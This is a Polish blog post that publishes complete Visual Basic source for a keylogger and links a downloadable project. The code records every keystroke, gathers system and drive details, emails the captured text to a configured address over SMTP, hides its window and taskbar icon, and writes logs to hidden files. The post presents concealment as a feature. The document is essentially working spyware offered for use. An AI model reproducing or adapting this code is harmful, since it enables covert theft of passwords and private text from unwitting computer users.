«

»

Lis 03

Wydrukuj to Wpis

Visual Basic-Keylogger + e-mail

Visual C# Keylogger

Keylogger + e-mail – zapisuje każdy wciśnięty klawisz. Potrafi wysłać dane na e-mail. Zapisuje datę oraz godzinę, o której wpisywany był tekst. Keylogger + e-mail może zostać głęboko ukryty w systemie (niewidoczny na pasku zadań).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
Imports System.Net.Mail
Imports System.IO
Imports Microsoft.Win32
Public Class Form1
    Dim i As Integer = 0
    Dim result As Integer
    Dim Dyski(5) As String
    Private Obserwator As New System.IO.FileSystemWatcher
    Private Declare Function GetAsyncKeyState Lib "USER32" (ByVal vKey As Integer) As Integer
    Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Integer) As Integer
 
    Public Function GetCapslock() As Boolean
        GetCapslock = CBool(GetKeyState(&H14))
    End Function
 
    Public Function GetShift() As Boolean
        GetShift = CBool(GetAsyncKeyState(&H10))
    End Function
 
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        TextBox1.ReadOnly = True : MyBase.Text = "KeyLogger"
        INFORMACJA_O_KOMPUTERZE()
    End Sub
 
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        KeyLoggerEN()
        'zrobić program widocznym
        If TextBox1.Text.EndsWith(TBHasłoKeylogger.Text) = True Then
            TextBox1.Text = TextBox1.Text.Substring(0, TextBox1.TextLength - TBHasłoKeylogger.TextLength)
            UKRYĆ_KEYLOGGER(True, 100, False)
        End If
 
        If TextBox1.TextLength >= CInt(TBLitery.Text) Then
            WYSLAĆ_NA_EMAIL(TextBox1.Text)
        End If
 
    End Sub
 
    Sub KeyLoggerEN()
        For i As Integer = 1 To 225
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                Select Case i
                    'Literki
                    Case 64 To 90
                        If GetShift() = True Or GetCapslock() = True Then
                            TextBox1.Text &= Chr(i).ToString.ToUpper
                        Else
                            TextBox1.Text &= Chr(i).ToString.ToLower
                        End If
                        'Cyfry
                    Case 48 To 57
                        If GetShift() = True Then
                            Select Case i
                                Case 48 : TextBox1.Text &= ")" : Case 49 : TextBox1.Text &= "!"
                                Case 50 : TextBox1.Text &= "@" : Case 51 : TextBox1.Text &= "#"
                                Case 52 : TextBox1.Text &= "$" : Case 53 : TextBox1.Text &= "%"
                                Case 54 : TextBox1.Text &= "^" : Case 55 : TextBox1.Text &= "&"
                                Case 56 : TextBox1.Text &= "*" : Case 57 : TextBox1.Text &= "("
                            End Select
                        Else
                            TextBox1.Text &= Chr(i)
                        End If
                    Case 96 : TextBox1.Text &= "0"
                    Case 97 : TextBox1.Text &= "1" : Case 98 : TextBox1.Text &= "2"
                    Case 99 : TextBox1.Text &= "3" : Case 100 : TextBox1.Text &= "4"
                    Case 101 : TextBox1.Text &= "5" : Case 102 : TextBox1.Text &= "6"
                    Case 103 : TextBox1.Text &= "7" : Case 104 : TextBox1.Text &= "8"
                    Case 105 : TextBox1.Text &= "9" : Case 106 : TextBox1.Text &= "*"
                    Case 107 : TextBox1.Text &= "+" : Case 109 : TextBox1.Text &= "-"
                    Case 110 : TextBox1.Text &= "." : Case 111 : TextBox1.Text &= "/"
                        'Synbol
                    Case 186 To 192
                        If GetShift() = True Then
                            Select Case i
                                Case 186 : TextBox1.Text &= ":" : Case 187 : TextBox1.Text &= "+"
                                Case 188 : TextBox1.Text &= "<" : Case 189 : TextBox1.Text &= "_"
                                Case 190 : TextBox1.Text &= ">" : Case 191 : TextBox1.Text &= "?"
                                Case 192 : TextBox1.Text &= "~"
                            End Select
                        Else
                            Select Case i
                                Case 186 : TextBox1.Text &= ";" : Case 187 : TextBox1.Text &= "="
                                Case 188 : TextBox1.Text &= "," : Case 189 : TextBox1.Text &= "-"
                                Case 190 : TextBox1.Text &= "." : Case 191 : TextBox1.Text &= "/"
                                Case 192 : TextBox1.Text &= "`"
                            End Select
                        End If
                    Case 219 To 222
                        If GetShift() = True Then
                            Select Case i
                                Case 219 : TextBox1.Text &= "{" : Case 220 : TextBox1.Text &= "|"
                                Case 221 : TextBox1.Text &= "}" : Case 222 : TextBox1.Text &= """"
                            End Select
                        Else
                            Select Case i
                                Case 219 : TextBox1.Text &= "[" : Case 220 : TextBox1.Text &= "\"
                                Case 221 : TextBox1.Text &= "]" : Case 222 : TextBox1.Text &= "'"
                            End Select
                        End If
 
                    Case 8
                        If TextBox1.TextLength > 0 Then
                            TextBox1.Text = TextBox1.Text.Substring(0, TextBox1.TextLength - 1)
                        End If
                    Case 46 : TextBox1.Text &= " [Del] "
                    Case 17 : TextBox1.Text &= " [Ctrl] " : Case 18 : TextBox1.Text &= " [Alt] "
                    Case 13 : TextBox1.Text &= " [Enter] " + vbNewLine : Case 9 : TextBox1.Text &= " [Tab] "
                    Case 32 : TextBox1.Text &= " "
                    Case 1 : Case 2 'Mouse
                    Case 27 'Esc
                    Case 91 'Windows key 
                    Case 144 : Case 45 : Case 12
                    Case 37 To 40 : Case 33 To 36
                    Case 16 : Case 160 To 165 : Case 20
                    Case Else : TextBox1.Text &= " Ascii(" & i & ") "
                End Select
            End If
        Next i
    End Sub
 
    Sub INFORMACJA_O_KOMPUTERZE()
        Try
            TextBox1.Text = "URUCHOMIENIE PROGRAMU: " & Now & vbCrLf & _
                "WERSJA SYSTEMU OPERACYJNEGO: " & My.Computer.Info.OSFullName & vbCrLf & _
                "NAZWA UŻYTKOWNIKA: " & My.User.Name & vbCrLf & _
                "AKTYWNY JĘZYK WPROWADZANIA: " & System.Windows.Forms.InputLanguage.CurrentInputLanguage.Culture.NativeName & vbCrLf & _
                "ZAINSTALOWANE JĘZYKI:"
            For Each IL As System.Windows.Forms.InputLanguage In System.Windows.Forms.InputLanguage.InstalledInputLanguages
                TextBox1.Text &= vbCrLf & IL.Culture.NativeName
            Next
            TextBox1.Text &= vbCrLf & "DYSK LOKALNY: " & vbCrLf
            For Each Dysk As IO.DriveInfo In IO.DriveInfo.GetDrives
                If Dysk.DriveType = IO.DriveType.Fixed AndAlso Dysk.IsReady AndAlso Dysk.VolumeLabel <> "" Then
                    TextBox1.Text &= Dysk.ToString & " = " & My.Computer.FileSystem.GetDriveInfo(Dysk.ToString).TotalSize & " bajtów" & vbCrLf & "ZAWARTOŚĆ DYSKU " & Dysk.ToString & vbCrLf
                    'folder
                    Dim Foldery() As String = Directory.GetDirectories(Dysk.ToString)
                    Dim Folder As String
                    For Each Folder In Foldery
                        TextBox1.Text &= Folder & vbCrLf
                    Next
                    'plik
                    Dim Pliki() As String = Directory.GetFiles(Dysk.ToString)
                    Dim Plik As String
                    For Each Plik In Pliki
                        TextBox1.Text &= Plik & vbCrLf
                    Next
                    If Dyski(i) = Nothing And i <= 5 Then
                        Dyski(i) = Dysk.ToString
                        USTAWIENIE()
                        i = +1
                    End If
                End If
            Next
        Catch ex As Exception
            WYSLAĆ_NA_EMAIL(ex.ToString)
        End Try
    End Sub
 
    Sub WYSLAĆ_NA_EMAIL(ByVal Body As String)
        Try
            Dim MyMailMassege As New MailMessage()
            MyMailMassege.From = New MailAddress("my@mail.com")
            MyMailMassege.To.Add(TBDo.Text)
            MyMailMassege.Subject = (My.User.Name)
            MyMailMassege.Body = (Body)
            Dim SMTPServer As New SmtpClient("smtp.mymail.com")
            SMTPServer.Port = 587 'Port
            SMTPServer.Credentials = New System.Net.NetworkCredential("login", "hasło")
            SMTPServer.EnableSsl = True
            SMTPServer.Send(MyMailMassege)
            TextBox1.Clear()
            If Timer1.Enabled = False Then MsgBox("Wiadomość została wysłana")
        Catch ex As Exception
            If Me.Visible = True Then
                MsgBox(ex.Message.ToString)
            Else
                ZACHOWAĆ_TEKST(TextBox1.Text)
            End If
        End Try
    End Sub
 
    Sub ZACHOWAĆ_TEKST(ByVal Text As String)
        Try
            If File.Exists(Dyski(0) + "KeyLogger") = False Then Directory.CreateDirectory(Dyski(0) + "KeyLogger")
            Dim TextFile As New StreamWriter(Dyski(0) + "KeyLogger\textkl", True)
            TextFile.WriteLine(Text)
            TextFile.Close()
            File.SetAttributes(Dyski(0) + "KeyLogger", FileAttributes.Hidden)
            File.SetAttributes(Dyski(0) + "KeyLogger\textkl", FileAttributes.Hidden)
        Catch ex As Exception
            ZACHOWAĆ_TEKST(ex.ToString)
        End Try
    End Sub
 
    Sub UKRYĆ_KEYLOGGER(ByVal Ukryć As Boolean, ByVal Widoczność As Integer, ByVal Timer As Boolean)
        ShowIcon = Ukryć
        ShowInTaskbar = Ukryć
        Me.Visible = Ukryć
        Me.Opacity = Widoczność
        Timer1.Enabled = Timer
    End Sub
 
    Private Sub Wysłać_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        If TBDo.Text = "" Or TBDo.Text = "my@mail.com" Then MsgBox("Wprowadź swój adres e-mail", MsgBoxStyle.Information) : TBDo.Focus() : Exit Sub
        WYSLAĆ_NA_EMAIL(TextBox1.Text)
    End Sub
 
    Private Sub TBLitery_KeyPress(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyPressEventArgs) Handles TBLitery.KeyPress
        If Char.IsDigit(e.KeyChar) = False Then e.Handled = True
        If Char.IsDigit(e.KeyChar) = True Then e.Handled = False
        If e.KeyChar = ChrW(Keys.Back) Then e.Handled = False
    End Sub
 
    Private Sub Zapisz_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        If TBDo.Text = "" Or TBDo.Text = "my@mail.com" Then MsgBox("Wprowadź swój adres e-mail", MsgBoxStyle.Information) : TBDo.Focus() : Exit Sub
        If TBHasłoKeylogger.Text = "" Then MsgBox("Wprowadź hasło Keyloggera", MsgBoxStyle.Information) : TBHasłoKeylogger.Focus() : Exit Sub
        If TBLitery.Text = "" Then TBLitery.Text = 100
        Try
            If File.Exists(Dyski(0) + "KeyLogger\settingkl") = True Then File.Delete(Dyski(0) + "KeyLogger\settingkl")
            If File.Exists(Dyski(0) + "KeyLogger") = False Then Directory.CreateDirectory(Dyski(0) + "KeyLogger")
            Dim Setting As New StreamWriter(Dyski(0) + "KeyLogger\settingkl")
            Setting.WriteLine(TBDo.Text)
            Setting.WriteLine(TBHasłoKeylogger.Text)
            Setting.WriteLine(TBLitery.Text)
            Setting.Close()
            File.SetAttributes(Dyski(0) + "KeyLogger", FileAttributes.Hidden)
            File.SetAttributes(Dyski(0) + "KeyLogger\settingkl", FileAttributes.Hidden)
            USTAWIENIE()
        Catch ex As Exception
            If Me.Visible = True Then
                MsgBox(ex.ToString)
            Else
                WYSLAĆ_NA_EMAIL(ex.ToString)
            End If
        End Try
    End Sub
 
    Sub USTAWIENIE()
        If File.Exists(Dyski(0) + "KeyLogger\settingkl") = True Then
            UKRYĆ_KEYLOGGER(False, 0, True)
            Dim Setting As New StreamReader(Dyski(0) + "KeyLogger\settingkl")
            TBDo.Text = Setting.ReadLine
            TBHasłoKeylogger.Text = Setting.ReadLine
            TBLitery.Text = Setting.ReadLine
            Setting.Close()
        Else
            UKRYĆ_KEYLOGGER(True, 100, False)
        End If
    End Sub
End Class

Załączniki do pobrania

  • rar KeyLogger
    Visual Basic Project
    Rozmiar pliku: 83 KB Pobrania: 125

Permalink do tego artykułu: http://tmall.com.pl/visual-basic-keylogger-e-mail/

Dodaj komentarz

Twój adres email nie zostanie opublikowany. Pola, których wypełnienie jest wymagane, są oznaczone symbolem *

Możesz użyć tych znaczników i atrybutów HTMLa: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>